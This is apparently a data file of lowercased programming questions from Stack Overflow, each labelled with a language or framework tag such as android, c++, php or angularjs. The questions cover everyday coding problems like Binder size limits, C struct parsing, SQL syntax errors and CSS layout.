share memory between two processes in dalvik  i have created an android service which exposes an interface to the applications to accept a camera frame byte array. the service uses a native library to process this camera frame and returns some data about the camera frame. the goal is to be able to process camera preview frames in real time.     <strong>problem</strong> - my aidl file has an api called initframe(in byte[] frame). whenever i call this api from an application(running in a separate process)  i get an exception - <a href= http://developer.android.com/reference/android/os/transactiontoolargeexception.html.  rel= nofollow noreferrer >transactiontoolargeexception</a>     this is because the size of the byte array is > 1mb and the binder transaction buffer has a limited fixed size of 1mb. even if the size limit was bigger  it is very inefficient to copy large buffers for real time processing.     <strong>question</strong> - is there a way in android to share memory between two dalvik processes which can help solve the problem  i looked at <a href= http://developer.android.com/reference/android/os/memoryfile.html  rel= nofollow noreferrer >memoryfile</a> but it seems memoryfile can only be used to share memory between processes using hidden apis at this point.,android
is this an undocumented override of the split method   i just found that not only does this code compile  it seems to split the string on any whitespace.   <pre><code>list&lt;string&gt; tablenames = tables.split().tolist(); </code></pre>   however it didn t show in the intellisense and it s not on the <a href= http://msdn.microsoft.com/en-us/library/system.string.split.aspx  rel= nofollow >msdn page</a>.     is this just an undocumented override  and is it dangerous to use because of that,c#
saving data from text file to data structures in c  i have this text file with various records  each record has 4 fields  3 strings of words and one number  for example   <pre><code>field one; field two; field three; 1 field one; field two; field three; 2 </code></pre>   i need to sort those records according to the last number through an insertion sort algorithm  so the second record should be the first one in the list  since 2>1. to do that  i first need to store each record before comparing them  i m having some problems with that.    i got this until now:    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #define maxlen 100  struct element    {     char one[100];     char two[100];     char three[100];     int st;    };    int main() {      int i;     struct element elements[maxlen];       file * fpointer = fopen( clients.txt    r );      for (i = 0; i &lt; maxlen; i++) {        struct element *e = elements+i;  // pointer on ith element        fscanf(fpointer   %99s%99s%99s%d   e-&gt;one  e-&gt;two  e-&gt;three  &amp;e-&gt;st);     }      printf( %s%s%s%d   elements-&gt;one  elements-&gt;two  elements-&gt;three  elements-&gt;&amp;st);      fclose(fpointer);     return 0;  } </code></pre>   my current problems:    1) this current program is not good for saving string of words. it s good when the record is like: string; string; string; 1 but it won t work with phrases (like in the first example).    2) i don t really understand the structure of this: i know that i m saving each record in my array of data structures but i m having some problems printing each record. let s say i want to print the second record  how can i do that  in my current work i printed <code>one  two  three and st</code> but this way  it will only print the first record.,c
c++ operator() parenthesis - operator type() vs type operator()  what s the difference if any     for example: <code>int operator()</code> vs <code>operator int()</code>    i m looking for an answer with  official  c++ documentation.,c++
javascript nested functions scope  i have the following javascript object  somewhat pseudocode:   <pre><code>{   datefield: new date()    addminutes:function(numminutes)   {      callwebservice(numminutes  function{alert(this.datefield; });   } } </code></pre>   the problem is the scope of the callback function in callwebservice doesn t see the datefield property of the object.  is there a way i can access it   thanks!,javascript
video in iphone app  i have an idea for an app that i would like to build which would include video tutorials for a particular topic. what is the best way to go about doing this    <ul> <li>embed the video with the app and make it a part of the distribution </li> </ul>   or  - stream the video from a cdn,iphone
c++ function to print a set  does anyone have an idea as to why   <pre><code>#include &lt;set&gt; #include &lt;string&gt; #include &lt;iostream&gt;  template &lt;typename t&gt; std::string set2str(const std::set&lt;t&gt; &amp; s) {     std::string retstr =  { ;     typename std::set&lt;t&gt;::const_iterator it(s.begin())  offend(s.end());     if (it != offend)         retstr.push_back(*it++);     while (it != offend)     {         retstr.push_back(   );         retstr.push_back(*it++);     }     retstr.push_back( } );     return retstr; }  int main() {     std::set&lt;int&gt; myset = {1  5  9  69};     std::cout &lt;&lt; set2str(myset); } </code></pre>   is outputting   <pre><code>{      e} </code></pre>           also  is there a more elegant way of writing the function <code>set2str</code>  the fencepost problem with the commas makes my procedure ugly.,c++
application does not pick updated values after modifying app.config file c#  i have developed a winforms application which consists of a file path value (fetching crystal reports) in add key of app.config file. i have <strong>installed</strong> the application and trying to change the file path (<strong>in app.config as well as exename.exe file</strong>) from old to new but the application doesnt take new crystal reports file path instead retrieves old data.  am i missing any other file to be updated   kindly help to get it solved asap.thanks,c#
avaudioplayer regarding song overlapping  i have using avaudioplayer in my app but the problem is that when i play the song from list it will played while before stopping the song i am again goes to song list then select another song then both song will start playing simultaneously so please tell me the code which will terminate my first song.    i use flag variable for initializing the song file---   <pre><code>fileurl = [[nsurl alloc] initfileurlwithpath: [[nsbundle mainbundle] pathforresource:@  om namo  oftype:@ aac ]]; self._player = [[avaudioplayer alloc] initwithcontentsofurl:fileurl error:nil]; if (self._player) { _filename.text = [nsstring stringwithformat: @ %@ (%d ch.)   [[self._player.url relativepath] lastpathcomponent]  self._player.numberofchannels  nil]; [self updateviewforplayerinfo]; [self updateviewforplayerstate]; }  [fileurl release]; break;  play and push function---  - (void)startplayback {  if ([self._player play]) { //[self stop]; [self updateviewforplayerstate]; self._player.delegate = self; } else nslog(@ could not play %@\n   self._player.url); }  - (void)pauseplayback { [self._player pause]; [self updateviewforplayerstate]; } </code></pre>   i also make stop function---   <pre><code>-(void)stop { [_player release]; self._player=nil; } </code></pre>   please help me . is correct my stop function. and where i put our stop function or any other solution to fix this problem...,iphone
sql syntax error from book  i m very new at sql  and i m using this code from a book. however  it s return an error. any advice on how to fix  thanks.    <pre><code>select count(*) sum(case when state &lt;&gt; state2 then 1 else 0 end) as numsame from zipcensus zc </code></pre>   <strong>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  sum(case when state &lt;> state2 then 1 else 0 end) as numsame from zipcensus zc  at line 2</strong>,mysql
* in function args (c) <pre><code>void counter(unsigned * val) {     static unsigned count=0;     *val= ++count; } </code></pre>   why is there a space between <code>unsigned</code> and <code>val</code>  shouldn t it be just <code>*val</code> to point to the memory address at <code>val</code>,c
convert scientific notation to decimal with php  math with bitcoin is giving me problems   <pre><code>        $value = bcmul((float)$totalmoney  $p 8);         $value = bcdiv((float)$value  100 8); </code></pre>   returns 8.431e-05 as one of the values in the script    i ve tried   <pre><code>$newnum = (float)$value;  $newnum = number_format((float)$value  8);  $newnum = sprintf( %.8f  $value);  function scientific_notation($in_float_value  $in_decimal_place_count = -1)  {    // get the exponent   $abs_float_value = abs($in_float_value);   $exponent = floor($abs_float_value == 0   0 : log10($abs_float_value));   // scale to get the mantissa   $in_float_value *= pow(10  -$exponent);   // create the format string based    // on the requested number of decimal places.   $format = ($in_decimal_place_count &gt;= 0)    .  . $in_decimal_place_count :   ;   //echo( format0: $format );   // format the exponent part using zero padding.   $formatted_exponent =  +  . sprintf( %02d   $exponent);   if($exponent &lt; 0.0)   {       $formatted_exponent =  -  . sprintf( %02d   -$exponent);   }   $format =  %  . $format .  fe%s ;   //echo( format1: $format );   // return the final value combining mantissa and exponent   return sprintf($format  $in_float_value  $exponent);  } $newnum = scientific_notation($value 8); </code></pre>   tried it in phpfiddle and it works. maybe the problem is storing it in a db. it s stores as 8.431e-05 in the database    what am i doing wrong,php
battleship shot firing [java]  the goal is to minimize the amount of shots i take at a battleship board that is randomly generated. my fireshot() method is supposed to determine if the point in my 2d array was already shot at  a miss  or a hit.   <pre><code>public boolean fireshot() {  random rand = new random();  int i = rand.nextint(10); //generate 2 random numbers for rows and columns int j = rand.nextint(10); point shot = new point(i j);  while (mapstate[i][j] != empty){          j = rand.nextint(10);         i = rand.nextint(10);         mapstate[i][j] = shotat; }  boolean hit = battleship.shoot(shot);  if(hit == false){    mapstate[i][j] = miss; }  else if(hit == true){    mapstate[i][j] = hitint;    huntmode(i j); }   return false;    } </code></pre>   the battleship.shoot method returns a boolean if the point hits a boat.    the problem is that the efficiency is the same and not skipping elements that have already been missed or hit.,java
sql: month to month computation  i want to compute for month difference of 2 dates which will return a float value.    example:    date1= 4/23/2008  date2= 12/31/2008     that will be 7.y months. i want to find the y value. can someone give me the formula to make this in sql codes  tnx..,sql
null datetime insert into sql by asp.net  i want to insert a date or a null value into a date time field(sql).     but i cannot insert the null value.    i want to do this without sp.,asp.net
mobile vision api barcode is not working on samsung tablet sm-t311   i looked into mobile vision api barcode scanner and successfully integrated. but i found that it s not working on my samsung tablet. though i debugged and checked as per the documentation it needs some native libraries to be downloaded when the app is installed for the first time. but when i debugged it showed up barcodedetector.isoperational()  means it can operate. but i when i place on barcode its doing nothing.   <blockquote>    do mobile vision api works on poor quality camera such as 5mp.   and does it depends on autofocus feature of device. does os version of a device matters  current os of my device is 4.4.2 and latest google play service of 11.5.09.  </blockquote>   can anyone help me out,android
css relative footer and fixed sidebar overlap each other  i researched a lot and could not find the solution for my problem. the footer overlaps the fixed sidebar. i want to prevent divs overlapping each other. could you please help me. z-index does not solve the problem.   <pre><code>#sidebar {     margin: 140px 0px 0px 572px;     float: right;     width: 226px;     position: fixed; } #footer {     clear: both;     height: 55px;     width: 100%;         position: relative;     } </code></pre>,css
if i change the database in a live ruby on rails app  how do i update the data   so i m finally ready to allow some friends to use my ruby on rails app  which i m hosting on heroku. i want to start getting some feedback as i m still developing.    what happens if i need alter to the database in some way  there will be data in the database  so i will have to change the data to reflect the updates in the database  but i m not sure how this is done. thanks for reading.,ruby-on-rails
vertex ordering when constructing a 3d model  so i ve just started to learn using pyopengl and im just modelling a cube  turns out the correct ordering of the vertices is:   <pre><code>vertices = ( (1 -1 -1)  (1 1 -1)  (-1 1 -1)  (-1 -1 -1)  (1 -1 1)  (1 1 1)  (-1 -1 1)  (-1 1 1)  ) </code></pre>   so counter-clockwise when z=-1 to counter-clockwise when z = 1.    what is the logic behind the ordering or is that simply just how you do it.,python
c giving random huge numbers when returning values  i just started programming in c  and decided to write a function to search for a substring in a string to test myself(yes  i am aware there is a function for that already). however  the program will sometimes give the  correct  answer but it will also give a seemingly senseless number sometimes. does it have anything to do with my use of printf  thanks in advance :).   <pre><code>#include &lt;stdio.h&gt;  int check_char_exists(char fvar_string[] char fvar_chartosearchfor); int check_string_exists(char fvar_string[] char fvar_stringtosearchfor[]);  int main() {     char ctring[] = { a   b   c   d   e   f   g };     char ctringtosearchfor[] = { d   e   f };     check_string_exists(ctring ctringtosearchfor);     return 0; }  int check_char_exists(char fvar_string[] char fvar_chartosearchfor) {         int fvar_hits = 0;         for (int foo = 0; foo &lt; (sizeof(fvar_string) / sizeof(char)); foo ++) {             if (fvar_string[foo] == fvar_chartosearchfor) {                 fvar_hits += 1;             }         }         return fvar_hits; }  int check_string_exists(char fvar_string[]  char fvar_stringtosearchfor[]) {     int fvar_stringtosearchfor_size;     int a;     int fvar_string_size;     int b;      int subhits;     int hits;      //get length of string to be searched     while (b != null) {         b = fvar_string[fvar_string_size];         fvar_string_size++;     }       //get length of string to search for     while (a != null) {         a = fvar_stringtosearchfor[fvar_stringtosearchfor_size];         fvar_stringtosearchfor_size++;     }      for (int foo; foo &lt; fvar_string_size; foo ++) {         if (fvar_string[foo] == fvar_stringtosearchfor[0]) {             for(int bar = 0; bar &lt; fvar_stringtosearchfor_size;bar++) {                  //if both are equal add to subhits                 if(fvar_string[foo + bar] == fvar_stringtosearchfor[bar]) {                     subhits +=1;                 }                   //if subhits equal to length of string to search for add 1 to hits                 if (subhits == (fvar_stringtosearchfor_size - 1)) {                     hits += 1;                 }             }             subhits = 0;         }     }       printf( %d  hits); } </code></pre>   edit: sorry here s the output   <pre><code>2user@pc:~$ ./file 2user@pc:~$ ./file 2user@pc:~$ ./file 1869833334user@pc:~$ ./file 2user@pc:~$ ./file </code></pre>,c
angular ng-class: how to use fuction and conditional expression together   how to combine such usage of ng-class  i need to use together function hich returns class  and expression  which evaluates another class    <code>data-ng-class= {active: field.selected} getdisplayclass(field.size) </code>,angularjs
how to make custom incoming call screen in android in android kitkat  i tried many ways   but didn t work on kitkat or lollipop     i need broadcast receiver with code that can answer the call by a button   please,android
stop activityindicator in embedded tableview cell upon return from detail viewcontroller  i have a viewcontroller that has a container view.  in the container view i have a tableview that contains static cells.  each cell has a disclosure indicator.  this was all created in ib.  the parent viewcontroller is embedded in a navigationcontroller.    each cell pushes a new view controller which loads a mapview. each map parses and loads a .kml file.  the .kml files are huge and take up to a minute (or more) to load.    i placed an activityindicator in the accessory view of each cell using the following code:   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath{  uitableviewcell *cell = [tableview cellforrowatindexpath:indexpath];  uiactivityindicatorview *activityview = [[uiactivityindicatorview alloc]initwithactivityindicatorstyle:uiactivityindicatorviewstylegray]; [activityview startanimating]; [cell setaccessoryview:activityview];  [self.tableview deselectrowatindexpath:[self.tableview indexpathforselectedrow] animated:yes];} </code></pre>   this appears to work as expected.    after viewing the map i touch the  back  button provided by the navigationcontroller and pop the map off the stack.  my embedded tableview is visible again  with the activity indicator still spinning.  i can t get it to stop.    my best attempt was in the implementation file of my tableview:   <pre><code>- (void)viewwillappear:(bool)animated{ [super viewwillappear:animated]; [[self tableview] reloaddata];} </code></pre>   but that didn t work.  any suggestions,ios
create object from database row  let s say i m building a data access layer for an application.  typically i have a class definition for a each kind of object that is stored in the database.  of course  the actual data access retrieves data in the form of a datareader  typed or untyped dataset  or similar  usually with the data needed to create one object per row in the results.    how would you go about creating your object instances in the data layer   would have a constructor that accepts a datarow   if so  how would you make that type-safe   or would you have your constructor list out one parameter for each field you want to instantiate  even if there could be many fields   would you mark this constructor  internal,.net
regarding delay signing   i got question about delay signing. the definition of delay signing is : --    delay signing allows you to place a shared assembly in the gac by signing the assembly with just the public key. this allows the assembly to be signed with the private key at a later stage  when the development process is complete and the component or assembly is ready to be deployed. this process enables developers to work with shared assemblies as if they were strongly named  and it secures the private key of the signature from being accessed at differen    from here few things is not clear to me. 1) how to signed assembly with the private key at a later stage after signing with public key and placed in gac.    2) why people sign any assembly with private key.    3) this process enables developers to work with shared assemblies as if they were strongly named  and it secures the private key of the signature from being accessed at differen    what does it mean   it secures the private key of the signature from being accessed at differen     please discuss. thanks,.net
how to sort set by not unique data   i have the following code:   <pre><code>public class englishword implements comparable&lt;englishword&gt; {      private string word;// unique     private int occurencenumber; //not unique       public englishword(string word  int occurencenumber) {         this.word = word;         this.occurencenumber= occurencenumber;     }      public boolean equals(englishword anotherword) {         return word.equals(anotherword.getword());     }      public int compareto(englishword anotherword) {         return occurencenumber - anotherword.getoccurencenumber;     } </code></pre>   i want to add all <code>englishword</code>s in to a <code>set</code> where there s exactly one <code>englishword</code> object for each unique <code>word</code>. i want the <code>set</code> to be sorted by <code>occurrencenumber</code>. the code i have already sorts the words by <code>occurrencenumber</code>  but doesn t add <code>englishword</code> with unique <code>occurrencenumber</code> to the <code>set</code>. as code  here is what i mean:   <pre><code>set&lt;englishword&gt; myset= new treeset&lt;englishword&gt;(); myset.add(new englishword( hello  8)); myset.add(new englishword( hi  8)); </code></pre>   after this  <code>myset</code> s size is 1.,java
do lite version and full version need to have same provision/bundle identifier or not   do the lite version and the full version of an app need to have same provision/bundle identifier or not     thanks    interdev,iphone
using setonitemclicklistener to delete an entry from listview  i have a listview and i want to able to select one of the entries here in order to delete it. for example  my entry in listview looks like this:    john smith    john@hotmail.com    4857394    newyork    so i want to select this one and delete it. i find this set onitemclicklistener in order to select it. i have delete function. i just need to select name  john smith  when i click this entry. i don t know what i can write inside function here.   <pre><code>listcontent.setonitemclicklistener(new onitemclicklistener() {     @override     public void onitemclick(adapterview&lt; &gt; parent  view view  int position long id)     {                listcontent.getitematposition(position);     } }); </code></pre>,android
is it better to create 2 actions  1 for get and 1 for post  or can you just merge the 2   is it possible to have a controller action do both the get and post     i.e. the get shows a form  and the post takes the forms values and saves to the db.,ruby-on-rails
no connection could be made because the target machine actively refused it. <pre><code>&lt; php $db = mysql_connect( localhost    root     ); @mysql_select_db(wordpress_db);  &gt; </code></pre>   warning: mysql_connect(): no connection could be made because the target machine actively refused it. in d:\xampp\xampp\htdocs\wordpress_practice\db.php on line 2,php
how to convert a string to the type of  double quotes   сreated client-side template   <pre><code>&lt;textarea name= template &gt;text {$text} text&lt;/textarea&gt;  &lt;      $template = $_request[ template ];     $text =  working! ;     echo $template; // but displays  text {$text} text   instead of  text working! text   &gt; </code></pre>   how can i solve this problem,php
refresh uiview for drawrect   is there a way to refresh a uiview which will subsequently call drawrect     edit:    i am doing <code>[view setneedsdisplay]</code> however it doesn t appear to be working! or at least my nslog in drawrect isn t displaying.    edit2:    please see comments of selected answer for the gory details! number one tip: make sure it s <em>property</em> linked!,iphone
class properties that aren t always populated. what is best practice   i have a class which models online campaigns i.e. people clicking through to the site from affiliate websites  and we need to record all these clicks and any purchases that are made. this class has the usual crap - name  start date  end date etc. - which we need to return and i have a constructor which populates these values. all very standard and all very fine. i ve done all the standard getall and getbyid functions which use that constructor to populate the object.     however  in one case i need to return a list of the campaigns with their totals e.g. total clicks  total purchases etc. these clicks  / purchases are stored in a separate db table and the totals will be calculated using an sql aggragate function. i could call a function which would get the total clicks and then another to get the total purchases for each campaign as we loop through them  but that would mean two extra database calls for each campaign returned.     another option would be to always return the totals when you search for a campaign  but this is putting unnecessary work on the db as the clicks table could get quite large quite quickly and doing aggregate functions on that wouldn t be a good idea.     i finally thought of declaring public properties totalclicks and totalpurchases which aren t populated in the constructor  but only when you call the specific getthetotals function. this is grand  but it means that when you are accessing an instance of the campaign object you could try objcampaign.totalclicks even though it is probably not set.    i know i could just return a dataset  but that just doesn t seem right from an object oriented point of view. any idea what the correct approach is here,.net
readonly toolbar item - valid or invalid - iphone human interface guideline   the toolbar of our iphone app contains an icon to indicate online/offline status. since the icon is just an indication of online/offline status  it is readonly or say  not-clickable .    my question is - does an item in toolbar has to perform some action or can it be readonly icon       will it create any problem in future while submitting app to appstore      thanks in advance  --prem,iphone
how to fix the exception java.util.concurrentmodificationexception <pre><code>private list&lt;string&gt; duplicateparamlist(map&lt;distname  list&lt;string&gt;&gt; totalhashmap  map.entry&lt;string  string&gt; param                                            map.entry&lt;distname  managedobject&gt; entry) {     list&lt;string&gt; duplicatelist = new arraylist&lt;&gt;();     if (totalhashmap.isempty()) {       list&lt;string&gt; values = new arraylist&lt;&gt;();       values.add(param.getvalue());       totalhashmap.put(entry.getkey()  values);       return duplicatelist;     }      for (map.entry&lt;distname  list&lt;string&gt;&gt; totalentry : totalhashmap.entryset()) {       if (totalentry.getvalue().contains(param.getvalue())) {         duplicatelist.add(param.getkey());       } else {         if (totalhashmap.containskey(entry.getkey())) {           totalhashmap.get(entry.getkey()).add(param.getvalue());         } else {           list&lt;string&gt; valuelist = new arraylist&lt;&gt;();           valuelist.add(param.getvalue());           totalhashmap.put(entry.getkey()  valuelist);         }       }     }     return duplicatelist;   } </code></pre>   it will throw this exception: java.lang.reflect.invocationtargetexception ---java.util.concurrentmodificationexception    how to solve this problem  thanks a lot.    this is i use iterator to replace the for  but it is also not effective:   <pre><code>iterator&lt;map.entry&lt;distname  list&lt;string&gt;&gt;&gt; iterator = totalhashmap.entryset().iterator();  while (iterator.hasnext()) {   map.entry&lt;distname  list&lt;string&gt;&gt; totalentry = iterator.next();   if (totalentry.getvalue().contains(param.getvalue())) {     duplicatelist.add(param.getkey());   } else  {     if (totalhashmap.containskey(entry.getkey())) {       totalhashmap.get(entry.getkey()).add(param.getvalue());     } else {       list&lt;string&gt; valuelist = new arraylist&lt;&gt;();       valuelist.add(param.getvalue());       totalhashmap.put(entry.getkey()  valuelist);     }   } } </code></pre>,java
how to see the scope content in the console in angularjs   i’m working on an angularjs project  i need to debug a variable in the $scope  but for some weird reason i’m not able to set breakpoints in my browser developer console  i’m using ie9 is there any way to see the contain of a var within the scope  without set breakpoints,angularjs
access web page from a different project  net ..    in my solution i have two projects and i need a access a webpage of a second project from my 1st project .. used   <pre><code>protected void registerbutton_click(object sender  eventargs e)     {         response.redirect( ./personaldetails/details.aspx );     } </code></pre>   where personaldetails is my second project...but no success,asp.net
get color in field name while exporting csv file from mysql  is there other way to get colored csv file by exporting from mysql.    i want to make yellow color to all field. so it can be viewd in csv file as well.,mysql
setting up layer properties of a view object  at times i have seen people setting up layer properties for a view object like this:   <pre><code>[self.view.layer setborderwidth:1.0f]; [self.view.layer setbordercolor:[uicolor colorwithred:.486 green:.486 blue:.486 alpha:1.0f].cgcolor]; [self.view.layer setshadowcolor:[uicolor whitecolor].cgcolor]; </code></pre>   can you please explain the importance of setting layer properties. not able to understand what a layer is in a uiview...,iphone
angular directive attributes aren t being passed through  i m trying to shorten my form code by making directives for each element  however my directive is displaying none of what i m passing to it and the model isn t being bound.    html:   <pre><code>&lt;formstring databinding= project.title  datatitle= title  dataplaceholder= title  /&gt; </code></pre>   directive:   <pre><code>app.directive( formstring   function () {   return {     restrict:  aec       databinding:  =       datatitle:  @datatitle       dataplaceholder:  @dataplaceholder       datahelp:  @datahelp       templateurl:  /app/js/directives/form/string.html     }; }); </code></pre>   string.html:   <pre><code>&lt;div class= form-group &gt;  2   &lt;label for= {{datatitle}}  class= col-sm-2 control-label &gt;{{datatitle}}&lt;/label    &gt;   &lt;div class= col-sm-10 &gt;     &lt;input type= text  class= form-control  id= {{datatitle}}  placeholder= {{da    taplaceholder}}  ng-model= databinding &gt;     &lt;p ng-show= datahelp  class= help-block &gt;{{datahelp}}&lt;/p&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   project is a $scope object that has an attribute  title .    what am i missing  why does this show up at a blank input with none of the attributes filled in and why does the binding not work,angularjs
installing the .net reference source code (rscc)  i ve been trying for the last hour or so to get the downloadable .net source code installed to my local machine and it appears to be broken.    i m installing the .net v8.0 file from <a href= http://referencesource.microsoft.com/netframework.aspx  rel= nofollow noreferrer >here</a> and after the install the following files are created:   <pre> -readme.txt -(source) --(dotnet) ---(8.0) ----source.zip.tmp -(symbols) --pingme.txt --(000admin) ---0000000001 ---history.txt ---lastid.txt ---server.txt </pre>   i can t imagine that this is right - is it  i would have thought there would be some pdb files at least... it certainly doesn t seem to work.    a little research pulled up <a href= http://social.msdn.microsoft.com/forums/en-us/vssetup/thread/da81d205-4939-4172-91fd-d2369c6460d6  rel= nofollow noreferrer >this link</a> where the guy says that it is something to do with the date formatting. i don t really want to rewrite the installer like he did  but i have tried setting my region to english-us (from uk) and customising the date format all with no success. if this was the issue i would have expected to find more references to it.    so  my questions are:   <ul> <li>is the file structure above correct </li> <li>if not  and you ve successfully installed the file what are your system s culture settings </li> </ul>   bonus question:   <ul> <li>any idea specifically what the differences are between the files available from the rscc  i can t find any documentation to tell me which are worth installing.</li> </ul>   for reference i m running visual studio 2008 on xp with all service packs and patches applied.,.net
format method and rounding number  i don t understand how format &amp; rounding numbers works  because for instance:   <pre><code> {:.0f} .format(234.50) # returns 234  {:.0f} .format(235.50) # returns 236  {:.0f} .format(236.50) # returns 236  {:.0f} .format(237.50) # returns 238 </code></pre>   and so on...    am i missing something     thanks for your help!,python
how do i wrap and set css properties to achieve the depicted results   i m developing a web application that in a view has three panels as the image shows:    <img src= https://i.stack.imgur.com/mxvhl.png  alt= enter image description here >    which css properties would you use to have the bottom panel get the same width as the upper two panels combined in a dynamic context     <strong>edit:</strong> i m sorry i should have mentioned that <strong>i can t use any javascript</strong>. i need a solution purely executed by css. the markup is generated from the java code of which i m developing the application so i don t have a direct access to that either.,css
excel export in xlsx format c#.net  need a solution to get the export by taking datatable as input  how can i export a datatable to excel in xlsx format using c#.net  i tried using xslt but unable to get the desired output,.net
i would like the output of a query to be prefix by an hyphen  i created the view below. i would like the output of employee name(that is called name in my statement) to be prefix by an hyphen. i am trying to write an sql tree structure using oracle. thanks for your help   <pre><code>create or replace view connected_employee  as select lpad(     (level - 1) * 3) ||  name as name  title  position  officekey from employee connect by prior employeekey=managerkey start with employeekey=501; </code></pre>,sql
simple practical example for two way data binding in angularjs  can any one help me out to understand what exactly two way data binding in angularjs means with a help of simple code.,angularjs
jquery firebug console output question  here is the contradictory output printed by jquery in the firebug console  when i was doing some debugging on a page that did not behave the way i had intended:   <pre><code>&gt;&gt;&gt; $( input.rtnbtn ) null &gt;&gt;&gt; $( rbtn_4 ) &lt;input id= rbtn_4  class= rtnbtn  type= submit  value= rate  name= rate4 &gt; </code></pre>   as can be seen from the above  $( input.rtnbtn ) is not finding anything - whilst the element with id  rbtn_4  should clearly have been matched. am i missing a trick here     as an aside  although i am matching by class (because the id is generated at runtime)  there is only one instance on the page - so i don t understand why jquery can t match the element. any ideas,jquery
how to get each course name in a grades table where i only have the id for course   i have a grades table where i have the following fields:    -student_id <br>    -course_id <br>    -first_term <br>    -second_term <br>    -final    and a course table:    -course_id <br>    -name <br>    -department_id    i m trying to get all the grades for a particular student with grades for each course specified  i was wondering how do i get the name of each course     this is how i get the grades but i want to include the course name also:   <pre><code>select student_id         course_id         (first_term+second_term+final) as  total  mark    from marks   where student_id = 1; </code></pre>,sql
c++ equivalent of .net s list<>   i m curious as to the most common c++ equivalent to .net s list&lt;>  there are many libraries  and i m not sure which one has the best performance characteristics.    here is the .net code that demonstrates list&lt;>:   <pre><code>list&lt;double&gt; x = new list&lt;double&gt; {1}; x.add(2); console.writeline( {0} {1}  x[0]  x[1]); </code></pre>,.net
how can i get this a symbol  ā to show up on my web site   how can i get this a symbol  ā to show up on my web site      it is for <a href= http://www.ohanamakamae.org/  rel= nofollow noreferrer >http://www.ohanamakamae.org/</a> and all the other symbols work  just not the ā.    i hope someone can help  i am working in dreamweaver.,html
communication between controllers - angularjs  i have nested controllers and need to astablish communication between the controllers.there are two ways i can think of achieving this:   <ol> <li>have a central  pubsub  service that all the controllers can use to communicate. the disadvantage of this in my opition is that each controller can talk to any other controller and there is no meaning to the heirarchy.</li> <li>another approach is that controller can only talk to his father and this children  as described is the image: <img src= https://i.stack.imgur.com/69unj.png  alt= enter image description here ></li> </ol>   so i need a separate communication channel for each heirarchy level. not sure how to achieve this. i thought of making a service that provides a communication channel but how do i inject it to the relevant controllers      which solution is better and how do i implement the second solution is it s better  or maybe there are other solutions,angularjs
how to delete a row of code in java   this is my code that i am working with right now and even if it sounds like the most easy problem ever i still want to know how to solve it. my problem is that i want the command <code>g.drawstring(string.valueof(fullhealth)  50  15);</code> to be deleted when my player class goes under 100 hp.  i do not know how to do that.   <pre><code>package com.tutorial.main;  import java.awt.color; import java.awt.font; import java.awt.graphics;  import javax.swing.jtextarea;   public class hud {   public static int health = 100; public static int fullhealth = 100; private int greenvalue = 255;  public void tick() {      health = game.clamp(health  0  100);     greenvalue = game.clamp(greenvalue  0  255);      greenvalue = health*2;       if (health == 0)         system.exit(1);  }  public void render(graphics g) {     g.setcolor(color.gray);     g.fillrect(15  15  200  32);     g.setcolor(new color(75  greenvalue  0));     g.fillrect(15  15  health * 2  32);     g.setcolor(color.white);     g.drawrect(15  15  200  32);        string string =  / ;      font stringfont = new font(  health   font.plain  18 );      g.setfont( stringfont );      g.drawstring(string.valueof(health)  15  15);      g.drawstring(string.valueof(fullhealth)  50  15);      if(health &lt; 100){         delete g.drawstring(string.valueof(fullhealth)  50  15);// how to make this command work             g.drawstring(string.valueof(fullhealth)  45  15);          g.drawstring( /   40  15);        }     } } </code></pre>,java
compile errors for double linked list code  i have tried to implement doubly linked list in c++. here is the code    <pre><code>#include &lt;iostream&gt; using namespace std; //double linked list class link{     public:         long data;         link *next;      public:         link(long d) {             data=d;         }         void displaylink() {             cout&lt;&lt;data&lt;&lt;   &lt;&lt; \n ;         } };  class firstl {     private:         link *first;         link *last;      public:         firstl() {             first=null;             last=null;         }     public:         bool empthy() {             return (first==null);         }      public:         void insertfirst(long dd) {             link *newlink=new link(dd);             if (empthy)                 last=newlink;             newlink-&gt;next=first;             first=newlink;         }      public :         void insertlast(long dd) {             link *newlink=new link(dd);             if (empthy)                  first=newlink;             else                 last-&gt;next=newlink;             last=newlink;         }       public :         long deletefirst() {             long temp=first-&gt;data;             if (first-&gt;next==null) //if only one item                 last=null;//null&lt;-last;             first=first-&gt;next; //first--&gt;old next;             return temp;         }     public:         void displaylist() {             link *current=first;             while (current!=null) {                 current-&gt;displaylink();                 current=current-&gt;next;             }         } };  int main() {     firstl linked;     linked.insertfirst(22);     linked.insertfirst(44);     linked.insertfirst(66);     linked.insertlast(11);     linked.insertlast(33);     linked.insertlast(55);     linked.displaylist();     linked.deletefirst();     linked.deletefirst();     linked.displaylist();     return 0; } </code></pre>   but here are the compile errors:   <pre><code>1&gt;------ build started: project: linked)list  configuration: debug win32 ------ 1&gt;  linked_list.cpp 1&gt;c:\users\david\documents\visual studio 2010\projects\linked)list\linked_list.cpp(40): error c3867:  firstl::empthy : function call missing argument list; use  &amp;firstl::empthy  to create a pointer to member 1&gt;c:\users\david\documents\visual studio 2010\projects\linked)list\linked_list.cpp(51): error c3867:  firstl::empthy : function call missing argument list; use  &amp;firstl::empthy  to create a pointer to member ========== build: 0 succeeded  1 failed  0 up-to-date  0 skipped ========== </code></pre>   how can this be fixed,c++
how to convert nsdata to unsigned or signed byte array  in my app i have to upload byte array(audio ) to server .    but now we are getting nsdata .how to convert this nsdata to byte array to post the audio file to server    can any one help me,ios
what happens to all the existing applications when a country decides to stop using daylight savings time   is that just a matter of creating a new windows patch and all is fine  or is there more scary stuff that is going to happen,.net
making a python script to ping websites  so i know not all of this is correct but this is what i have. i m just trying to write a script that can ping google or yahoo by selecting 1 or 2 and a third option to enter a custom url if anyone could help me out with that id appreciate it.   <pre><code>import os print( 1. ping google ) print( 2. ping yahoo ) print( 3. ping custom url )  key = input( input your choice:  ) if key == 1:     os.system( ping google.com ) elif key == 2:     os.system( ping yahoo.com )   elif key == 3: input( enter url:  ) </code></pre>,python
select multiple divs and the same time  and let user close them  i want a function in jquery that lets you to open multiple divs at the same time  without the previous one closing. the visitors of the website will press them to open them  and then press them again to close them.,jquery
